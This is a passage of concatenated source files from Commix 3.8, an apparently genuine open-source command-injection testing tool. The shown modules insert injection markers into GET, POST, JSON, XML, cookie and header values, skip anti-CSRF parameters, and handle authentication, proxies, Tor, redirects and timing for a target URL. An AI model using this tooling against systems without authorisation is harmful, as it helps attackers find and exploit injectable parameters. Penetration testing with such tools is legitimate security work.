b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '')
request.add_header(settings.AUTHORIZATION, "Basic " + b64_string)
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
try:
url = menu.options.url
try:
response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as e:
try:
authline = e.headers.get('www-authenticate', '')
authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups()
realm = authobj[1].split(',')[0].replace("\"","")
user_pass_pair = menu.options.auth_cred.split(":")
username = user_pass_pair[0]
password = user_pass_pair[1]
authhandler = _urllib.request.HTTPDigestAuthHandler()
authhandler.add_password(realm, url, username, password)
opener = _urllib.request.build_opener(authhandler)
_urllib.request.install_opener(opener)
result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
except AttributeError:
pass
except _urllib.error.HTTPError as e:
pass
else:
pass
# Check if defined any extra HTTP headers.
if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1:
if len(settings.RAW_HTTP_HEADERS) >= 1:
menu.options.headers = settings.RAW_HTTP_HEADERS
# Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided.
if menu.options.headers:
menu.options.headers = checks.wildcard_character(menu.options.headers)
extra_headers = menu.options.headers
else:
menu.options.header = checks.wildcard_character(menu.options.header)
extra_headers = menu.options.header
extra_headers = extra_headers.replace(":",": ")
if ": //" in extra_headers:
extra_headers = extra_headers.replace(": //" ,"://")
if "\\n" in extra_headers:
extra_headers = extra_headers.split("\\n")
# Remove empty strings and "Content-Length"
extra_headers = [x for x in extra_headers if "Content-Length" not in x]
else:
tmp_extra_header = []
tmp_extra_header.append(extra_headers)
extra_headers = tmp_extra_header
# Remove empty strings
extra_headers = [x for x in extra_headers if x]
if menu.options.data:
# The MIME media type for JSON.
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
if settings.CONTENT_TYPE not in str(extra_headers):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
if settings.CONTENT_TYPE not in str(extra_headers):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
if "Accept-Encoding" not in str(extra_headers):
request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
for extra_header in extra_headers:
try:
# Extra HTTP Header name
http_header_name = extra_header.split(':', 1)[0]
http_header_name = ''.join(http_header_name).strip()
# Extra HTTP Header value
http_header_value = extra_header.split(':', 1)[1]
http_header_value = ''.join(http_header_value).strip().replace(": ",":")
# Check if it is a custom header injection.
if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = http_header_name
settings.CUSTOM_HEADER_VALUE = http_header_value
# Add HTTP Header name / value to the HTTP request
if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False:
request.add_header(http_header_name, http_header_value)
except:
pass
# eof commix-3.8/src/core/requests/parameters.py 0000775 0000000 0000000 00000054547 14466364451 0021026 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Get the URL part of the defined URL.
"""
def get_url_part(url):
# Find the URL part (scheme:[//host[:port]][/]path)
o = _urllib.parse.urlparse(url)
url_part = o.scheme + "://" + o.netloc + o.path
return url_part
"""
Check if the 'INJECT_HERE' tag, is specified on GET Requests.
"""
def do_GET_check(url, http_request_method):
"""
Grab the value of parameter.
"""
def multi_params_get_value(parameter):
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
return value
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
url = checks.wildcard_character(url)
# Check for REST-ful URLs format.
if "?" not in url:
if settings.INJECT_TAG not in url and not menu.options.shellshock:
checks.check_injection_level()
if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers:
return False
if menu.options.level == settings.COOKIE_INJECTION_LEVEL:
return False
else:
err_msg = "No parameter(s) found for testing on the provided target URL. "
if not menu.options.crawldepth:
err_msg += "You are advised to rerun with '--crawl=2'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.shellshock:
return False
return [url]
else:
urls_list = []
if menu.options.shellshock:
urls_list.append(url)
else:
# Find the host part
url_part = get_url_part(url)
# Find the parameter part
parameters = url.split("?")[1]
# Split parameters
try:
multi_parameters = parameters.split(settings.PARAMETER_DELIMITER)
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
checks.inappropriate_format(multi_parameters)
for param in range(len(multi_parameters)):
multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method):
return urls_list
# Grab the value of parameter.
_ = []
_.append(parameters)
parameters = ''.join(checks.check_similarities(_))
value = multi_params_get_value(parameters)
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(parameters, value, http_request_method)
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(parameters):
return urls_list
if len(value) == 0:
parameters = parameters + settings.INJECT_TAG
else:
parameters = parameters.replace(value, value + settings.INJECT_TAG)
# Reconstruct the URL
url = url_part + "?" + parameters
url = url.replace(settings.RANDOM_TAG,"")
urls_list.append(url)
return urls_list
else:
# Check if multiple parameters are supplied without the "INJECT_HERE" tag.
all_params = settings.PARAMETER_DELIMITER.join(multi_parameters)
all_params = all_params.split(settings.PARAMETER_DELIMITER)
# Check for similarity in provided parameter name and value.
all_params = checks.check_similarities(all_params)
# Check if defined the "INJECT_HERE" tag
if settings.INJECT_TAG not in url:
for param in range(0,len(all_params)):
# Grab the value of parameter.
value = multi_params_get_value(all_params[param])
for param in range(0,len(all_params)):
if param == 0 :
old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of parameter.
value = multi_params_get_value(all_params[param])
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(all_params[param], value, http_request_method)
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
url = url_part + "?" + parameter
url = url.replace(settings.RANDOM_TAG,"")
urls_list.append(url)
else:
for param in range(0,len(multi_parameters)):
value = multi_params_get_value(multi_parameters[param])
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Reconstruct the URL
url = url_part + "?" + parameter
url = url.replace(settings.RANDOM_TAG,"")
urls_list.append(url)
return urls_list
"""
Define the vulnerable GET parameter.
"""
def vuln_GET_param(url):
# Define the vulnerable parameter
if "?" not in url:
# Grab the value of parameter.
value = re.findall(r'/(.*)/' + settings.INJECT_TAG + "", url)
value = ''.join(value)
vuln_parameter = re.sub(r"/(.*)/", "", value)
elif re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \
re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url):
pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER)
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
if settings.WILDCARD_CHAR_APPLIED:
try:
settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
else:
vuln_parameter = url
return vuln_parameter
"""
Check if the 'INJECT_HERE' tag, is specified on POST Requests.
"""
def do_POST_check(parameter, http_request_method):
"""
Grab the value of parameter.
"""
def multi_params_get_value(param, all_params):
if settings.IS_JSON:
value = re.findall(r'\:(.*)', all_params[param])
value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value))
elif settings.IS_XML:
value = re.findall(r'>(.*)</', all_params[param])
value = ''.join(value)
else:
value = re.findall(r'=(.*)', all_params[param])
value = ''.join(value)
return value
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
parameter = checks.wildcard_character(parameter).replace("'","\"")
checks.check_injection_level()
# Check if JSON Object.
if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
if checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
parameter = checks.check_quotes_json_data(parameter)
if not settings.IS_JSON:
checks.process_json_data()
settings.PARAMETER_DELIMITER = ","
# Check if XML Object.
elif checks.is_XML_check(parameter):
if not settings.IS_XML:
checks.process_xml_data()
settings.PARAMETER_DELIMITER = ""
else:
pass
parameters_list = []
# Split multiple parameters
if settings.IS_XML:
parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n")
_ = []
parameters = re.findall(r'(.*)', parameter)
parameters = [param + "\n" for param in parameters if param]
for value in range(0,len(parameters)):
_.append(parameters[value])
multi_parameters = _
else:
try:
multi_parameters = parameter.split(settings.PARAMETER_DELIMITER)
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \
not settings.IS_JSON and \
not settings.IS_XML:
checks.inappropriate_format(multi_parameters)
for param in range(len(multi_parameters)):
multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method)
_ = []
_.append(parameter)
parameter = ''.join(checks.check_similarities(_))
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if settings.INJECT_TAG not in multi_parameters[0]:
# Grab the value of parameter.
if settings.IS_JSON:
# Grab the value of parameter.
value = re.findall(r'\"(.*)\"', parameter)
value = ''.join(value)
if value != settings.INJECT_TAG:
value = re.findall(r'\s*\:\s*\"(.*)\"', parameter)
value = ''.join(value)
elif settings.IS_XML:
# Grab the value of parameter.
value = re.findall(r'>(.*)</', parameter)
value = ''.join(value)
else:
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
if checks.is_empty(multi_parameters, http_request_method):
return parameter
else:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(parameter):
return parameter
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(parameter, value, http_request_method)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if settings.IS_JSON:
parameter = parameter.replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"")
else:
parameter = parameter + settings.INJECT_TAG
else:
parameter = parameter.replace(value, value + settings.INJECT_TAG)
parameter = parameter.replace(settings.RANDOM_TAG,"")
return parameter
else:
return multi_parameters
else:
# Check if multiple parameters are supplied without the "INJECT_HERE" tag.
if settings.IS_XML:
all_params = multi_parameters
else:
all_params = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Check for similarity in provided parameter name and value.
all_params = all_params.split(settings.PARAMETER_DELIMITER)
all_params = checks.check_similarities(all_params)
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in parameter:
if checks.is_empty(multi_parameters, http_request_method):
return parameter
for param in range(0, len(all_params)):
if param == 0 :
old = multi_params_get_value(param, all_params)
else :
old = value
# Grab the value of parameter.
value = multi_params_get_value(param, all_params)
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(all_params[param], value, http_request_method)
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
if settings.IS_JSON:
all_params[param] = all_params[param].replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"")
elif settings.IS_XML:
all_params[param] = all_params[param].replace("></", ">" + settings.INJECT_TAG + "</")
else:
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
parameter = parameter.replace(settings.RANDOM_TAG,"")
if type(parameter) != list:
parameters_list.append(parameter)
parameter = parameters_list
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = multi_params_get_value(param, multi_parameters)
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
parameter = parameter.replace(settings.RANDOM_TAG,"")
return parameter
"""
Define the vulnerable POST parameter.
"""
def vuln_POST_param(parameter, url):
if isinstance(parameter, list):
parameter = " ".join(parameter)
# JSON data format
if settings.IS_JSON:
param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0])
if param:
if "(" in param:
param = param.split("(")[1]
vuln_parameter = param.split(",")[-1:]
if ":" in vuln_parameter[0]:
settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1]
vuln_parameter = vuln_parameter[0].split(":")[0]
vuln_parameter = ''.join(vuln_parameter)
# XML data format
elif settings.IS_XML:
if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter):
vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter)
vuln_parameter = re.findall(r"" + "([^</]+)", vuln_parameter[0])
if settings.WILDCARD_CHAR_APPLIED and len(vuln_parameter) != 1 :
settings.POST_WILDCARD_CHAR = vuln_parameter[0]
settings.TESTABLE_VALUE = vuln_parameter = vuln_parameter[1]
else:
settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0]
vuln_parameter = ''.join(vuln_parameter)
# Regular POST data format.
else:
if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \
re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter):
pairs = parameter.split(settings.PARAMETER_DELIMITER)
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
if settings.WILDCARD_CHAR_APPLIED:
try:
settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
if 'vuln_parameter' not in locals():
return parameter
return vuln_parameter
"""
Define the injection prefixes.
"""
def prefixes(payload, prefix):
if settings.COOKIE_INJECTION == True:
specify_cookie_parameter(menu.options.cookie)
elif settings.USER_AGENT_INJECTION == True:
specify_user_agent_parameter(menu.options.agent)
elif settings.REFERER_INJECTION == True:
specify_referer_parameter(menu.options.referer)
elif settings.HOST_INJECTION == True:
specify_host_parameter(menu.options.host)
# Check if defined "--prefix" option.
testable_value = settings.TESTABLE_VALUE
if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0:
testable_value = ""
if menu.options.prefix:
payload = testable_value + menu.options.prefix + prefix + payload
else:
payload = testable_value + prefix + payload
return payload
"""
Define the injection suffixes.
"""
def suffixes(payload, suffix):
# Check if defined "--suffix" option.
if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER:
suffix = ""
if menu.options.suffix:
payload = payload + suffix + menu.options.suffix
else:
payload = payload + suffix
return payload
"""
The cookie based injection.
"""
def do_cookie_check(cookie):
"""
Grab the value of parameter.
"""
def multi_params_get_value(parameter):
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
return value
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
cookie = checks.wildcard_character(cookie)
try:
multi_parameters = cookie.split(settings.COOKIE_DELIMITER)
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
checks.inappropriate_format(multi_parameters)
_ = []
_.append(cookie)
cookie = ''.join(checks.check_similarities(_))
# Grab the value of parameter.
value = multi_params_get_value(cookie)
# Replace the value of parameter with INJECT tag
# Check if single paramerter is supplied.
if len(multi_parameters) == 1:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(cookie):
return cookie
# Ignoring the Google analytics cookie parameter.
if checks.ignore_google_analytics_cookie(cookie):
return cookie
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method = "cookie"):
return cookie
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in cookie:
if len(value) == 0:
cookie = cookie + settings.INJECT_TAG
else:
cookie = cookie.replace(value, value + settings.INJECT_TAG)
cookie = cookie.replace(settings.RANDOM_TAG,"")
return cookie
# Check if multiple parameters are supplied.
else:
cookies_list = []
all_params = settings.COOKIE_DELIMITER.join(multi_parameters)
all_params = all_params.split(settings.COOKIE_DELIMITER)
all_params = checks.check_similarities(all_params)
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in cookie:
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method = "cookie"):
return cookie
for param in range(0, len(all_params)):
if param == 0 :
old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of cookie.
value = multi_params_get_value(all_params[param])
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
# Ignoring the Google analytics cookie parameter.
if checks.ignore_google_analytics_cookie(all_params[param]):
continue
# Replace the value of parameter with INJECT tag
if len(value) == 0:
if not menu.options.skip_empty:
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
cookie = settings.COOKIE_DELIMITER.join(all_params)
cookie = cookie.replace(settings.RANDOM_TAG,"")
if type(cookie) != list:
cookies_list.append(cookie)
cookie = cookies_list
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = re.findall(r'=(.*)', multi_parameters[param])
value = ''.join(value)
cookie = settings.COOKIE_DELIMITER.join(multi_parameters)
cookie = cookie.replace(settings.RANDOM_TAG,"")
return cookie
"""
Specify the cookie parameter(s).
"""
def specify_cookie_parameter(cookie):
# Specify the vulnerable cookie parameter
if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \
re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie):
pairs = cookie.split(settings.COOKIE_DELIMITER)
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
inject_cookie = pairs[param].split("=")[0]
if settings.WILDCARD_CHAR_APPLIED:
try:
settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
break
else:
inject_cookie = cookie
return inject_cookie
"""
The user-agent based injection.
"""
def specify_user_agent_parameter(user_agent):
settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"")
return user_agent
"""
The referer based injection.
"""
def specify_referer_parameter(referer):
settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"")
return referer
"""
The host based injection.
"""
def specify_host_parameter(host):
settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"")
return host
"""
The Custom http header based injection.
"""
def specify_custom_header_parameter(header_name):
header_name = settings.CUSTOM_HEADER_NAME
return header_name
# eof commix-3.8/src/core/requests/proxy.py 0000664 0000000 0000000 00000002516 14466364451 0020026 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import socket
from src.utils import menu
from src.utils import settings
from src.core.requests import headers
from src.core.requests import requests
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import http_client as _http_client
"""
Use the defined HTTP Proxy
"""
def use_proxy(request):
try:
request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
return requests.request_failed(err_msg)
"""
Check if HTTP Proxy is defined.
"""
def do_check():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP proxy for all HTTP requests. "
print(settings.print_debug_msg(debug_msg))
# eof commix-3.8/src/core/requests/redirection.py 0000775 0000000 0000000 00000007410 14466364451 0021155 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import errno
import base64
try:
from base64 import encodebytes
except ImportError:
from base64 import encodestring as encodebytes
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.core.requests import requests
from socket import error as SocketError
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
def do_check(request, url, redirect_url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
[1] https://gist.github.com/FiloSottile/2077115
"""
class Request(_urllib.request.Request):
def get_method(self):
return settings.HTTPMETHOD.HEAD
class RedirectHandler(_urllib.request.HTTPRedirectHandler, object):
"""
Subclass the HTTPRedirectHandler to make it use our
Request also on the redirected URL
"""
def redirect_request(self, request, fp, code, msg, headers, newurl):
if code in (301, 302, 303, 307):
settings.REDIRECT_CODE = code
return Request(newurl.replace(' ', '%20'),
data=request.data,
headers=request.headers
)
else:
err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (")
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
try:
opener = _urllib.request.build_opener(RedirectHandler())
_urllib.request.install_opener(opener)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg:
requests.crawler_request(redirect_url)
try:
if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED:
return redirect_url
elif settings.CRAWLING and url in settings.HREF_SKIPPED:
return url
else:
while True:
if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url
message += "'. Do you want to follow? [Y/n] > "
redirection_option = common.read_input(message, default="Y", check_batch=True)
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
info_msg = "Following redirection to '" + redirect_url + "'. "
print(settings.print_info_msg(info_msg))
if settings.CRAWLING:
settings.HREF_SKIPPED.append(url)
return checks.check_http_s(redirect_url)
elif redirection_option in settings.CHOICE_NO:
settings.FOLLOW_REDIRECT = False
if settings.CRAWLING:
settings.HREF_SKIPPED.append(url)
return url
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(redirection_option)
pass
except AttributeError:
return url
# eof commix-3.8/src/core/requests/requests.py 0000775 0000000 0000000 00000105774 14466364451 0020535 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import socket
from socket import error as SocketError
from src.utils import menu
from os.path import splitext
from src.utils import settings
from src.utils import session_handler
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
from src.utils import common
from src.utils import crawler
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.requests import redirection
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Do a request to target URL.
"""
def crawler_request(url):
try:
if menu.options.data:
request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
else:
request = _urllib.request.Request(url)
headers.do_check(request)
headers.check_http_traffic(request)
if menu.options.proxy:
response = proxy.use_proxy(request)
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
if response.geturl() != url:
href = redirection.do_check(request, url, response.geturl())
if href != url:
crawler.store_hrefs(href, identified_hrefs=True, redirection=True)
return response
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS_NUM += 1
request_failed(err_msg)
"""
Estimating the response time (in seconds).
"""
def estimate_response_time(url, timesec):
stored_auth_creds = False
_ = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Estimating the target URL response time. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
# Check if defined POST data
if menu.options.data:
request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC))
else:
request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE))
headers.do_check(request)
start = time.time()
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
_ = True
except _http_client.InvalidURL as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.HTTPError as err:
ignore_start = time.time()
if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
pass
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += " (" + str(err) + ")."
if str(err.getcode()) != settings.UNAUTHORIZED_ERROR:
print(settings.print_critical_msg(err_msg))
# Check for HTTP Error 401 (Unauthorized).
else:
try:
# Get the auth header value
auth_line = err.headers.get('www-authenticate', '')
# Checking for authentication type name.
auth_type = auth_line.split()[0]
# Checking for the realm attribute.
try:
auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups()
realm = auth_obj[1].split(',')[0].replace("\"", "")
except:
realm = False
except ValueError:
err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") "
err_msg += "is not yet supported."
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
except IndexError:
err_msg = "The provided pair of " + str(menu.options.auth_type)
err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'"
err_msg += " seems to be invalid."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_type and menu.options.auth_type != auth_type.lower():
if checks.identified_http_auth_type(auth_type):
